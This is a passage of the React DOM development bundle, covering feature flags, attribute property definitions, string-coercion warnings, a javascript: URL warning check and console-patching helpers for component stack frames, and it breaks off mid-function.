  var LegacyHiddenComponent = 23;
  var CacheComponent = 24;
  var TracingMarkerComponent = 25;

  // -----------------------------------------------------------------------------

  var enableClientRenderFallbackOnTextMismatch = true; // TODO: Need to review this code one more time before landing
  // the react-reconciler package.

  var enableNewReconciler = false; // Support legacy Primer support on internal FB www

  var enableLazyContextPropagation = false; // FB-only usage. The new API has different semantics.

  var enableLegacyHidden = false; // Enables unstable_avoidThisFallback feature in Fiber

  var enableSuspenseAvoidThisFallback = false; // Enables unstable_avoidThisFallback feature in Fizz
  // React DOM Chopping Block
  //
  // Similar to main Chopping Block but only flags related to React DOM. These are
  // grouped because we will likely batch all of them into a single major release.
  // -----------------------------------------------------------------------------
  // Disable support for comment nodes as React DOM containers. Already disabled
  // in open source, but www codebase still relies on it. Need to remove.

  var disableCommentsAsDOMContainers = true; // Disable javascript: URL strings in href for XSS protection.
  // and client rendering, mostly to allow JSX attributes to apply to the custom
  // element's object properties instead of only HTML attributes.
  // https://github.com/facebook/react/issues/11347

  var enableCustomElementPropertySupport = false; // Disables children for <textarea> elements
  var warnAboutStringRefs = true; // -----------------------------------------------------------------------------
  // Debugging and DevTools
  // -----------------------------------------------------------------------------
  // Adds user timing marks for e.g. state updates, suspense, and work loop stuff,
  // for an experimental timeline tool.

  var enableSchedulingProfiler = true; // Helps identify side effects in render-phase lifecycle hooks and setState

  var enableProfilerTimer = true; // Record durations for commit and passive effects phases.

  var enableProfilerCommitHooks = true; // Phase param passed to onRender callback differentiates between an "update" and a "cascading-update".

  var allNativeEvents = new Set();
  /**
   * Mapping from registration name to event name
   */


  var registrationNameDependencies = {};
  /**
   * Mapping from lowercase registration names to the properly cased version,
   * used to warn in the case of missing event handlers. Available
   * only in true.
   * @type {Object}
   */

  var possibleRegistrationNames =  {} ; // Trust the developer to only use possibleRegistrationNames in true

  function registerTwoPhaseEvent(registrationName, dependencies) {
    registerDirectEvent(registrationName, dependencies);
    registerDirectEvent(registrationName + 'Capture', dependencies);
  }
  function registerDirectEvent(registrationName, dependencies) {
    {
      if (registrationNameDependencies[registrationName]) {
        error('EventRegistry: More than one plugin attempted to publish the same ' + 'registration name, `%s`.', registrationName);
      }
    }

    registrationNameDependencies[registrationName] = dependencies;

    {
      var lowerCasedName = registrationName.toLowerCase();
      possibleRegistrationNames[lowerCasedName] = registrationName;

      if (registrationName === 'onDoubleClick') {
        possibleRegistrationNames.ondblclick = registrationName;
      }
    }

    for (var i = 0; i < dependencies.length; i++) {
      allNativeEvents.add(dependencies[i]);
    }
  }

  var canUseDOM = !!(typeof window !== 'undefined' && typeof window.document !== 'undefined' && typeof window.document.createElement !== 'undefined');

  var hasOwnProperty = Object.prototype.hasOwnProperty;

  /*
   * The `'' + value` pattern (used in in perf-sensitive code) throws for Symbol
   * and Temporal.* types. See https://github.com/facebook/react/pull/22064.
   *
   * The functions in this module will throw an easier-to-understand,
   * easier-to-debug exception with a clear errors message message explaining the
   * problem. (Instead of a confusing exception thrown inside the implementation
   * of the `value` object).
   */
  // $FlowFixMe only called in DEV, so void return is not possible.
  function typeName(value) {
    {
      // toStringTag is needed for namespaced types like Temporal.Instant
      var hasToStringTag = typeof Symbol === 'function' && Symbol.toStringTag;
      var type = hasToStringTag && value[Symbol.toStringTag] || value.constructor.name || 'Object';
      return type;
    }
  } // $FlowFixMe only called in DEV, so void return is not possible.


  function willCoercionThrow(value) {
    {
      try {
        testStringCoercion(value);
        return false;
      } catch (e) {
        return true;
      }
    }
  }

  function testStringCoercion(value) {
    // If you ended up here by following an exception call stack, here's what's
    // happened: you supplied an object or symbol value to React (as a prop, key,
    // DOM attribute, CSS property, string ref, etc.) and when React tried to
    // coerce it to a string using `'' + value`, an exception was thrown.
    //
    // The most common types that will cause this exception are `Symbol` instances
    // and Temporal objects like `Temporal.Instant`. But any object that has a
    // `valueOf` or `[Symbol.toPrimitive]` method that throws will also cause this
    // exception. (Library authors do this to prevent users from using built-in
    // numeric operators like `+` or comparison operators like `>=` because custom
    // methods are needed to perform accurate arithmetic or comparison.)
    //
    // To fix the problem, coerce this object or symbol value to a string before
    // passing it to React. The most reliable way is usually `String(value)`.
    //
    // To find which value is throwing, check the browser or debugger console.
    // Before this exception was thrown, there should be `console.error` output
    // that shows the type (Symbol, Temporal.PlainDate, etc.) that caused the
    // problem and how that type was used: key, atrribute, input value prop, etc.
    // In most cases, this console output also shows the component and its
    // ancestor components where the exception happened.
    //
    // eslint-disable-next-line react-internal/safe-string-coercion
    return '' + value;
  }

  function checkAttributeStringCoercion(value, attributeName) {
    {
      if (willCoercionThrow(value)) {
        error('The provided `%s` attribute is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', attributeName, typeName(value));

        return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
      }
    }
  }
  function checkKeyStringCoercion(value) {
    {
      if (willCoercionThrow(value)) {
        error('The provided key is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', typeName(value));

        return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
      }
    }
  }
  function checkPropStringCoercion(value, propName) {
    {
      if (willCoercionThrow(value)) {
        error('The provided `%s` prop is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', propName, typeName(value));

        return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
      }
    }
  }
  function checkCSSPropertyStringCoercion(value, propName) {
    {
      if (willCoercionThrow(value)) {
        error('The provided `%s` CSS property is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', propName, typeName(value));

        return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
      }
    }
  }
  function checkHtmlStringCoercion(value) {
    {
      if (willCoercionThrow(value)) {
        error('The provided HTML markup uses a value of unsupported type %s.' + ' This value must be coerced to a string before before using it here.', typeName(value));

        return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
      }
    }
  }
  function checkFormFieldValueStringCoercion(value) {
    {
      if (willCoercionThrow(value)) {
        error('Form field values (value, checked, defaultValue, or defaultChecked props)' + ' must be strings, not %s.' + ' This value must be coerced to a string before before using it here.', typeName(value));

        return testStringCoercion(value); // throw (to help callers find troubleshooting comments)
      }
    }
  }

  // A reserved attribute.
  // It is handled by React separately and shouldn't be written to the DOM.
  var RESERVED = 0; // A simple string attribute.
  // Attributes that aren't in the filter are presumed to have this type.

  var STRING = 1; // A string attribute that accepts booleans in React. In HTML, these are called
  // "enumerated" attributes with "true" and "false" as possible values.
  // When true, it should be set to a "true" string.
  // When false, it should be set to a "false" string.

  var BOOLEANISH_STRING = 2; // A real boolean attribute.
  // When true, it should be present (set either to an empty string or its name).
  // When false, it should be omitted.

  var BOOLEAN = 3; // An attribute that can be used as a flag as well as with a value.
  // When true, it should be present (set either to an empty string or its name).
  // When false, it should be omitted.
  // For any other value, should be present with that value.

  var OVERLOADED_BOOLEAN = 4; // An attribute that must be numeric or parse as a numeric.
  // When falsy, it should be removed.

  var NUMERIC = 5; // An attribute that must be positive numeric or parse as a positive numeric.
  // When falsy, it should be removed.

  var POSITIVE_NUMERIC = 6;

  /* eslint-disable max-len */
  var ATTRIBUTE_NAME_START_CHAR = ":A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD";
  /* eslint-enable max-len */

  var ATTRIBUTE_NAME_CHAR = ATTRIBUTE_NAME_START_CHAR + "\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040";
  var VALID_ATTRIBUTE_NAME_REGEX = new RegExp('^[' + ATTRIBUTE_NAME_START_CHAR + '][' + ATTRIBUTE_NAME_CHAR + ']*$');
  var illegalAttributeNameCache = {};
  var validatedAttributeNameCache = {};
  function isAttributeNameSafe(attributeName) {
    if (hasOwnProperty.call(validatedAttributeNameCache, attributeName)) {
      return true;
    }

    if (hasOwnProperty.call(illegalAttributeNameCache, attributeName)) {
      return false;
    }

    if (VALID_ATTRIBUTE_NAME_REGEX.test(attributeName)) {
      validatedAttributeNameCache[attributeName] = true;
      return true;
    }

    illegalAttributeNameCache[attributeName] = true;

    {
      error('Invalid attribute name: `%s`', attributeName);
    }

    return false;
  }
  function shouldIgnoreAttribute(name, propertyInfo, isCustomComponentTag) {
    if (propertyInfo !== null) {
      return propertyInfo.type === RESERVED;
    }

    if (isCustomComponentTag) {
      return false;
    }

    if (name.length > 2 && (name[0] === 'o' || name[0] === 'O') && (name[1] === 'n' || name[1] === 'N')) {
      return true;
    }

    return false;
  }
  function shouldRemoveAttributeWithWarning(name, value, propertyInfo, isCustomComponentTag) {
    if (propertyInfo !== null && propertyInfo.type === RESERVED) {
      return false;
    }

    switch (typeof value) {
      case 'function': // $FlowIssue symbol is perfectly valid here

      case 'symbol':
        // eslint-disable-line
        return true;

      case 'boolean':
        {
          if (isCustomComponentTag) {
            return false;
          }

          if (propertyInfo !== null) {
            return !propertyInfo.acceptsBooleans;
          } else {
            var prefix = name.toLowerCase().slice(0, 5);
            return prefix !== 'data-' && prefix !== 'aria-';
          }
        }

      default:
        return false;
    }
  }
  function shouldRemoveAttribute(name, value, propertyInfo, isCustomComponentTag) {
    if (value === null || typeof value === 'undefined') {
      return true;
    }

    if (shouldRemoveAttributeWithWarning(name, value, propertyInfo, isCustomComponentTag)) {
      return true;
    }

    if (isCustomComponentTag) {

      return false;
    }

    if (propertyInfo !== null) {

      switch (propertyInfo.type) {
        case BOOLEAN:
          return !value;

        case OVERLOADED_BOOLEAN:
          return value === false;

        case NUMERIC:
          return isNaN(value);

        case POSITIVE_NUMERIC:
          return isNaN(value) || value < 1;
      }
    }

    return false;
  }
  function getPropertyInfo(name) {
    return properties.hasOwnProperty(name) ? properties[name] : null;
  }

  function PropertyInfoRecord(name, type, mustUseProperty, attributeName, attributeNamespace, sanitizeURL, removeEmptyString) {
    this.acceptsBooleans = type === BOOLEANISH_STRING || type === BOOLEAN || type === OVERLOADED_BOOLEAN;
    this.attributeName = attributeName;
    this.attributeNamespace = attributeNamespace;
    this.mustUseProperty = mustUseProperty;
    this.propertyName = name;
    this.type = type;
    this.sanitizeURL = sanitizeURL;
    this.removeEmptyString = removeEmptyString;
  } // When adding attributes to this list, be sure to also add them to
  // the `possibleStandardNames` module to ensure casing and incorrect
  // name warnings.


  var properties = {}; // These props are reserved by React. They shouldn't be written to the DOM.

  var reservedProps = ['children', 'dangerouslySetInnerHTML', // TODO: This prevents the assignment of defaultValue to regular
  // elements (not just inputs). Now that ReactDOMInput assigns to the
  // defaultValue property -- do we need this?
  'defaultValue', 'defaultChecked', 'innerHTML', 'suppressContentEditableWarning', 'suppressHydrationWarning', 'style'];

  reservedProps.forEach(function (name) {
    properties[name] = new PropertyInfoRecord(name, RESERVED, false, // mustUseProperty
    name, // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // A few React string attributes have a different name.
  // This is a mapping from React prop names to the attribute names.

  [['acceptCharset', 'accept-charset'], ['className', 'class'], ['htmlFor', 'for'], ['httpEquiv', 'http-equiv']].forEach(function (_ref) {
    var name = _ref[0],
        attributeName = _ref[1];
    properties[name] = new PropertyInfoRecord(name, STRING, false, // mustUseProperty
    attributeName, // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // These are "enumerated" HTML attributes that accept "true" and "false".
  // In React, we let users pass `true` and `false` even though technically
  // these aren't boolean attributes (they are coerced to strings).

  ['contentEditable', 'draggable', 'spellCheck', 'value'].forEach(function (name) {
    properties[name] = new PropertyInfoRecord(name, BOOLEANISH_STRING, false, // mustUseProperty
    name.toLowerCase(), // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // These are "enumerated" SVG attributes that accept "true" and "false".
  // In React, we let users pass `true` and `false` even though technically
  // these aren't boolean attributes (they are coerced to strings).
  // Since these are SVG attributes, their attribute names are case-sensitive.

  ['autoReverse', 'externalResourcesRequired', 'focusable', 'preserveAlpha'].forEach(function (name) {
    properties[name] = new PropertyInfoRecord(name, BOOLEANISH_STRING, false, // mustUseProperty
    name, // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // These are HTML boolean attributes.

  ['allowFullScreen', 'async', // Note: there is a special case that prevents it from being written to the DOM
  // on the client side because the browsers are inconsistent. Instead we call focus().
  'autoFocus', 'autoPlay', 'controls', 'default', 'defer', 'disabled', 'disablePictureInPicture', 'disableRemotePlayback', 'formNoValidate', 'hidden', 'loop', 'noModule', 'noValidate', 'open', 'playsInline', 'readOnly', 'required', 'reversed', 'scoped', 'seamless', // Microdata
  'itemScope'].forEach(function (name) {
    properties[name] = new PropertyInfoRecord(name, BOOLEAN, false, // mustUseProperty
    name.toLowerCase(), // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // These are the few React props that we set as DOM properties
  // rather than attributes. These are all booleans.

  ['checked', // Note: `option.selected` is not updated if `select.multiple` is
  // disabled with `removeAttribute`. We have special logic for handling this.
  'multiple', 'muted', 'selected' // NOTE: if you add a camelCased prop to this list,
  // you'll need to set attributeName to name.toLowerCase()
  // instead in the assignment below.
  ].forEach(function (name) {
    properties[name] = new PropertyInfoRecord(name, BOOLEAN, true, // mustUseProperty
    name, // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // These are HTML attributes that are "overloaded booleans": they behave like
  // booleans, but can also accept a string value.

  ['capture', 'download' // NOTE: if you add a camelCased prop to this list,
  // you'll need to set attributeName to name.toLowerCase()
  // instead in the assignment below.
  ].forEach(function (name) {
    properties[name] = new PropertyInfoRecord(name, OVERLOADED_BOOLEAN, false, // mustUseProperty
    name, // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // These are HTML attributes that must be positive numbers.

  ['cols', 'rows', 'size', 'span' // NOTE: if you add a camelCased prop to this list,
  // you'll need to set attributeName to name.toLowerCase()
  // instead in the assignment below.
  ].forEach(function (name) {
    properties[name] = new PropertyInfoRecord(name, POSITIVE_NUMERIC, false, // mustUseProperty
    name, // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // These are HTML attributes that must be numbers.

  ['rowSpan', 'start'].forEach(function (name) {
    properties[name] = new PropertyInfoRecord(name, NUMERIC, false, // mustUseProperty
    name.toLowerCase(), // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  });
  var CAMELIZE = /[\-\:]([a-z])/g;

  var capitalize = function (token) {
    return token[1].toUpperCase();
  }; // This is a list of all SVG attributes that need special casing, namespacing,
  // or boolean value assignment. Regular attributes that just accept strings
  // and have the same names are omitted, just like in the HTML attribute filter.
  // Some of these attributes can be hard to find. This list was created by
  // scraping the MDN documentation.


  ['accent-height', 'alignment-baseline', 'arabic-form', 'baseline-shift', 'cap-height', 'clip-path', 'clip-rule', 'color-interpolation', 'color-interpolation-filters', 'color-profile', 'color-rendering', 'dominant-baseline', 'enable-background', 'fill-opacity', 'fill-rule', 'flood-color', 'flood-opacity', 'font-family', 'font-size', 'font-size-adjust', 'font-stretch', 'font-style', 'font-variant', 'font-weight', 'glyph-name', 'glyph-orientation-horizontal', 'glyph-orientation-vertical', 'horiz-adv-x', 'horiz-origin-x', 'image-rendering', 'letter-spacing', 'lighting-color', 'marker-end', 'marker-mid', 'marker-start', 'overline-position', 'overline-thickness', 'paint-order', 'panose-1', 'pointer-events', 'rendering-intent', 'shape-rendering', 'stop-color', 'stop-opacity', 'strikethrough-position', 'strikethrough-thickness', 'stroke-dasharray', 'stroke-dashoffset', 'stroke-linecap', 'stroke-linejoin', 'stroke-miterlimit', 'stroke-opacity', 'stroke-width', 'text-anchor', 'text-decoration', 'text-rendering', 'underline-position', 'underline-thickness', 'unicode-bidi', 'unicode-range', 'units-per-em', 'v-alphabetic', 'v-hanging', 'v-ideographic', 'v-mathematical', 'vector-effect', 'vert-adv-y', 'vert-origin-x', 'vert-origin-y', 'word-spacing', 'writing-mode', 'xmlns:xlink', 'x-height' // NOTE: if you add a camelCased prop to this list,
  // you'll need to set attributeName to name.toLowerCase()
  // instead in the assignment below.
  ].forEach(function (attributeName) {
    var name = attributeName.replace(CAMELIZE, capitalize);
    properties[name] = new PropertyInfoRecord(name, STRING, false, // mustUseProperty
    attributeName, null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // String SVG attributes with the xlink namespace.

  ['xlink:actuate', 'xlink:arcrole', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type' // NOTE: if you add a camelCased prop to this list,
  // you'll need to set attributeName to name.toLowerCase()
  // instead in the assignment below.
  ].forEach(function (attributeName) {
    var name = attributeName.replace(CAMELIZE, capitalize);
    properties[name] = new PropertyInfoRecord(name, STRING, false, // mustUseProperty
    attributeName, 'http://www.w3.org/1999/xlink', false, // sanitizeURL
    false);
  }); // String SVG attributes with the xml namespace.

  ['xml:base', 'xml:lang', 'xml:space' // NOTE: if you add a camelCased prop to this list,
  // you'll need to set attributeName to name.toLowerCase()
  // instead in the assignment below.
  ].forEach(function (attributeName) {
    var name = attributeName.replace(CAMELIZE, capitalize);
    properties[name] = new PropertyInfoRecord(name, STRING, false, // mustUseProperty
    attributeName, 'http://www.w3.org/XML/1998/namespace', false, // sanitizeURL
    false);
  }); // These attribute exists both in HTML and SVG.
  // The attribute name is case-sensitive in SVG so we can't just use
  // the React name like we do for attributes that exist only in HTML.

  ['tabIndex', 'crossOrigin'].forEach(function (attributeName) {
    properties[attributeName] = new PropertyInfoRecord(attributeName, STRING, false, // mustUseProperty
    attributeName.toLowerCase(), // attributeName
    null, // attributeNamespace
    false, // sanitizeURL
    false);
  }); // These attributes accept URLs. These must not allow javascript: URLS.
  // These will also need to accept Trusted Types object in the future.

  var xlinkHref = 'xlinkHref';
  properties[xlinkHref] = new PropertyInfoRecord('xlinkHref', STRING, false, // mustUseProperty
  'xlink:href', 'http://www.w3.org/1999/xlink', true, // sanitizeURL
  false);
  ['src', 'href', 'action', 'formAction'].forEach(function (attributeName) {
    properties[attributeName] = new PropertyInfoRecord(attributeName, STRING, false, // mustUseProperty
    attributeName.toLowerCase(), // attributeName
    null, // attributeNamespace
    true, // sanitizeURL
    true);
  });

  // and any newline or tab are filtered out as if they're not part of the URL.
  // https://url.spec.whatwg.org/#url-parsing
  // Tab or newline are defined as \r\n\t:
  // https://infra.spec.whatwg.org/#ascii-tab-or-newline
  // A C0 control is a code point in the range \u0000 NULL to \u001F
  // INFORMATION SEPARATOR ONE, inclusive:
  // https://infra.spec.whatwg.org/#c0-control-or-space

  /* eslint-disable max-len */

  var isJavaScriptProtocol = /^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*\:/i;
  var didWarn = false;

  function sanitizeURL(url) {
    {
      if (!didWarn && isJavaScriptProtocol.test(url)) {
        didWarn = true;

        error('A future version of React will block javascript: URLs as a security precaution. ' + 'Use event handlers instead if you can. If you need to generate unsafe HTML try ' + 'using dangerouslySetInnerHTML instead. React was passed %s.', JSON.stringify(url));
      }
    }
  }

  /**
   * Get the value for a property on a node. Only used in DEV for SSR validation.
   * The "expected" argument is used as a hint of what the expected value is.
   * Some properties have multiple equivalent values.
   */
  function getValueForProperty(node, name, expected, propertyInfo) {
    {
      if (propertyInfo.mustUseProperty) {
        var propertyName = propertyInfo.propertyName;
        return node[propertyName];
      } else {
        // This check protects multiple uses of `expected`, which is why the
        // react-internal/safe-string-coercion rule is disabled in several spots
        // below.
        {
          checkAttributeStringCoercion(expected, name);
        }

        if ( propertyInfo.sanitizeURL) {
          // If we haven't fully disabled javascript: URLs, and if
          // the hydration is successful of a javascript: URL, we
          // still want to warn on the client.
          // eslint-disable-next-line react-internal/safe-string-coercion
          sanitizeURL('' + expected);
        }

        var attributeName = propertyInfo.attributeName;
        var stringValue = null;

        if (propertyInfo.type === OVERLOADED_BOOLEAN) {
          if (node.hasAttribute(attributeName)) {
            var value = node.getAttribute(attributeName);

            if (value === '') {
              return true;
            }

            if (shouldRemoveAttribute(name, expected, propertyInfo, false)) {
              return value;
            } // eslint-disable-next-line react-internal/safe-string-coercion


            if (value === '' + expected) {
              return expected;
            }

            return value;
          }
        } else if (node.hasAttribute(attributeName)) {
          if (shouldRemoveAttribute(name, expected, propertyInfo, false)) {
            // We had an attribute but shouldn't have had one, so read it
            // for the error message.
            return node.getAttribute(attributeName);
          }

          if (propertyInfo.type === BOOLEAN) {
            // If this was a boolean, it doesn't matter what the value is
            // the fact that we have it is the same as the expected.
            return expected;
          } // Even if this property uses a namespace we use getAttribute
          // because we assume its namespaced name is the same as our config.
          // To use getAttributeNS we need the local name which we don't have
          // in our config atm.


          stringValue = node.getAttribute(attributeName);
        }

        if (shouldRemoveAttribute(name, expected, propertyInfo, false)) {
          return stringValue === null ? expected : stringValue; // eslint-disable-next-line react-internal/safe-string-coercion
        } else if (stringValue === '' + expected) {
          return expected;
        } else {
          return stringValue;
        }
      }
    }
  }
  /**
   * Get the value for a attribute on a node. Only used in DEV for SSR validation.
   * The third argument is used as a hint of what the expected value is. Some
   * attributes have multiple equivalent values.
   */

  function getValueForAttribute(node, name, expected, isCustomComponentTag) {
    {
      if (!isAttributeNameSafe(name)) {
        return;
      }

      if (!node.hasAttribute(name)) {
        return expected === undefined ? undefined : null;
      }

      var value = node.getAttribute(name);

      {
        checkAttributeStringCoercion(expected, name);
      }

      if (value === '' + expected) {
        return expected;
      }

      return value;
    }
  }
  /**
   * Sets the value for a property on a node.
   *
   * @param {DOMElement} node
   * @param {string} name
   * @param {*} value
   */

  function setValueForProperty(node, name, value, isCustomComponentTag) {
    var propertyInfo = getPropertyInfo(name);

    if (shouldIgnoreAttribute(name, propertyInfo, isCustomComponentTag)) {
      return;
    }

    if (shouldRemoveAttribute(name, value, propertyInfo, isCustomComponentTag)) {
      value = null;
    }


    if (isCustomComponentTag || propertyInfo === null) {
      if (isAttributeNameSafe(name)) {
        var _attributeName = name;

        if (value === null) {
          node.removeAttribute(_attributeName);
        } else {
          {
            checkAttributeStringCoercion(value, name);
          }

          node.setAttribute(_attributeName,  '' + value);
        }
      }

      return;
    }

    var mustUseProperty = propertyInfo.mustUseProperty;

    if (mustUseProperty) {
      var propertyName = propertyInfo.propertyName;

      if (value === null) {
        var type = propertyInfo.type;
        node[propertyName] = type === BOOLEAN ? false : '';
      } else {
        // Contrary to `setAttribute`, object properties are properly
        // `toString`ed by IE8/9.
        node[propertyName] = value;
      }

      return;
    } // The rest are treated as attributes with special cases.


    var attributeName = propertyInfo.attributeName,
        attributeNamespace = propertyInfo.attributeNamespace;

    if (value === null) {
      node.removeAttribute(attributeName);
    } else {
      var _type = propertyInfo.type;
      var attributeValue;

      if (_type === BOOLEAN || _type === OVERLOADED_BOOLEAN && value === true) {
        // If attribute type is boolean, we know for sure it won't be an execution sink
        // and we won't require Trusted Type here.
        attributeValue = '';
      } else {
        // `setAttribute` with objects becomes only `[object]` in IE8/9,
        // ('' + value) makes it output the correct toString()-value.
        {
          {
            checkAttributeStringCoercion(value, attributeName);
          }

          attributeValue = '' + value;
        }

        if (propertyInfo.sanitizeURL) {
          sanitizeURL(attributeValue.toString());
        }
      }

      if (attributeNamespace) {
        node.setAttributeNS(attributeNamespace, attributeName, attributeValue);
      } else {
        node.setAttribute(attributeName, attributeValue);
      }
    }
  }

  // ATTENTION
  // When adding new symbols to this file,
  // Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'
  // The Symbol used to tag the ReactElement-like types.
  var REACT_ELEMENT_TYPE = Symbol.for('react.element');
  var REACT_PORTAL_TYPE = Symbol.for('react.portal');
  var REACT_FRAGMENT_TYPE = Symbol.for('react.fragment');
  var REACT_STRICT_MODE_TYPE = Symbol.for('react.strict_mode');
  var REACT_PROFILER_TYPE = Symbol.for('react.profiler');
  var REACT_PROVIDER_TYPE = Symbol.for('react.provider');
  var REACT_CONTEXT_TYPE = Symbol.for('react.context');
  var REACT_FORWARD_REF_TYPE = Symbol.for('react.forward_ref');
  var REACT_SUSPENSE_TYPE = Symbol.for('react.suspense');
  var REACT_SUSPENSE_LIST_TYPE = Symbol.for('react.suspense_list');
  var REACT_MEMO_TYPE = Symbol.for('react.memo');
  var REACT_LAZY_TYPE = Symbol.for('react.lazy');
  var REACT_SCOPE_TYPE = Symbol.for('react.scope');
  var REACT_DEBUG_TRACING_MODE_TYPE = Symbol.for('react.debug_trace_mode');
  var REACT_OFFSCREEN_TYPE = Symbol.for('react.offscreen');
  var REACT_LEGACY_HIDDEN_TYPE = Symbol.for('react.legacy_hidden');
  var REACT_CACHE_TYPE = Symbol.for('react.cache');
  var REACT_TRACING_MARKER_TYPE = Symbol.for('react.tracing_marker');
  var MAYBE_ITERATOR_SYMBOL = Symbol.iterator;
  var FAUX_ITERATOR_SYMBOL = '@@iterator';
  function getIteratorFn(maybeIterable) {
    if (maybeIterable === null || typeof maybeIterable !== 'object') {
      return null;
    }

    var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];

    if (typeof maybeIterator === 'function') {
      return maybeIterator;
    }

    return null;
  }

  var assign = Object.assign;

  // Helpers to patch console.logs to avoid logging during side-effect free
  // replaying on render function. This currently only patches the object
  // lazily which won't cover if the log function was extracted eagerly.
  // We could also eagerly patch the method.
  var disabledDepth = 0;
  var prevLog;
  var prevInfo;
  var prevWarn;
  var prevError;
  var prevGroup;
  var prevGroupCollapsed;
  var prevGroupEnd;

  function disabledLog() {}

  disabledLog.__reactDisabledLog = true;
  function disableLogs() {
    {
      if (disabledDepth === 0) {
        /* eslint-disable react-internal/no-production-logging */
        prevLog = console.log;
        prevInfo = console.info;
        prevWarn = console.warn;
        prevError = console.error;
        prevGroup = console.group;
        prevGroupCollapsed = console.groupCollapsed;
        prevGroupEnd = console.groupEnd; // https://github.com/facebook/react/issues/19099

        var props = {
          configurable: true,
          enumerable: true,
          value: disabledLog,
          writable: true
        }; // $FlowFixMe Flow thinks console is immutable.

        Object.defineProperties(console, {
          info: props,
          log: props,
          warn: props,
          error: props,
          group: props,
          groupCollapsed: props,
          groupEnd: props
        });
        /* eslint-enable react-internal/no-production-logging */
      }

      disabledDepth++;
    }
  }
  function reenableLogs() {
    {
      disabledDepth--;

      if (disabledDepth === 0) {
        /* eslint-disable react-internal/no-production-logging */
        var props = {
          configurable: true,
          enumerable: true,
          writable: true
        }; // $FlowFixMe Flow thinks console is immutable.

        Object.defineProperties(console, {
          log: assign({}, props, {
            value: prevLog
          }),
          info: assign({}, props, {
            value: prevInfo
          }),
          warn: assign({}, props, {
            value: prevWarn
          }),
          error: assign({}, props, {
            value: prevError
          }),
          group: assign({}, props, {
            value: prevGroup
          }),
          groupCollapsed: assign({}, props, {
            value: prevGroupCollapsed
          }),
          groupEnd: assign({}, props, {
            value: prevGroupEnd
          })
        });
        /* eslint-enable react-internal/no-production-logging */
      }

      if (disabledDepth < 0) {
        error('disabledDepth fell below zero. ' + 'This is a bug in React. Please file an issue.');
      }
    }
  }

  var ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher;
  var prefix;
  function describeBuiltInComponentFrame(name, source, ownerFn) {
    {
      if (prefix === undefined) {
        // Extract the VM specific prefix used by each line.
        try {
          throw Error();
        } catch (x) {
          var match = x.stack.trim().match(/\n( *(at )?)/);
          prefix = match && match[1] || '';
        }
      } // We use the prefix to ensure our stacks line up with native stack frames.


      return '\n' + prefix + name;
    }
  }
  var reentry = false;
  var componentFrameCache;

  {
    var PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;
    componentFrameCache = new PossiblyWeakMap();
  }

  function describeNativeComponentFrame(fn, construct) {
    // If something asked for a stack inside a fake render, it should get ignored.
    if ( !fn || reentry) {
      return '';
    }

    {
      var frame = componentFrameCache.get(fn);

      if (frame !== undefined) {
        return frame;
      }
    }

    var control;
    reentry = true;
    var previousPrepareStackTrace = Error.prepareStackTrace; // $FlowFixMe It does accept undefined.

    Error.prepareStackTrace = undefined;
    var previousDispatcher;

    {
      previousDispatcher = ReactCurrentDispatcher.current; // Set the dispatcher in DEV because this might be call in the render function
      // for warnings.

      ReactCurrentDispatcher.current = null;
      disableLogs();
    }

    try {
      // This should throw.
      if (construct) {
        // Something should be setting the props in the constructor.
        var Fake = function () {
          throw Error();
        }; // $FlowFixMe


        Object.defineProperty(Fake.prototype, 'props', {
          set: function () {
            // We use a throwing setter instead of frozen or non-writable props
            // because that won't throw in a non-strict mode function.
            throw Error();
          }
        });

        if (typeof Reflect === 'object' && Reflect.construct) {
          // We construct a different control for this case to include any extra
          // frames added by the construct call.
          try {
            Reflect.construct(Fake, []);
          } catch (x) {
            control = x;
          }

          Reflect.construct(fn, [], Fake);
        } else {
          try {
            Fake.call();
          } catch (x) {
            control = x;
          }

          fn.call(Fake.prototype);
        }
      } else {
        try {
          throw Error();
        } catch (x) {
          control = x;
        }

        fn();
      }
    } catch (sample) {
      // This is inlined manually because closure doesn't do it for us.
      if (sample && control && typeof sample.stack === 'string') {
        // This extracts the first frame from the sample that isn't also in the control.
        // Skipping one frame that we assume is the frame that calls the two.
        var sampleLines = sample.stack.split('\n');
        var controlLines = control.stack.split('\n');
        var s = sampleLines.length - 1;
        var c = controlLines.length - 1;

        while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {
          // We expect at least one stack frame to be shared.
          // Typically this will be the root most one. However, stack frames may be
          // cut off due to maximum stack limits. In this case, one maybe cut off
          // earlier than the other. We assume that the sample is longer or the same
          // and there for cut off earlier. So we should find the root most frame in
          // the sample somewhere in the control.
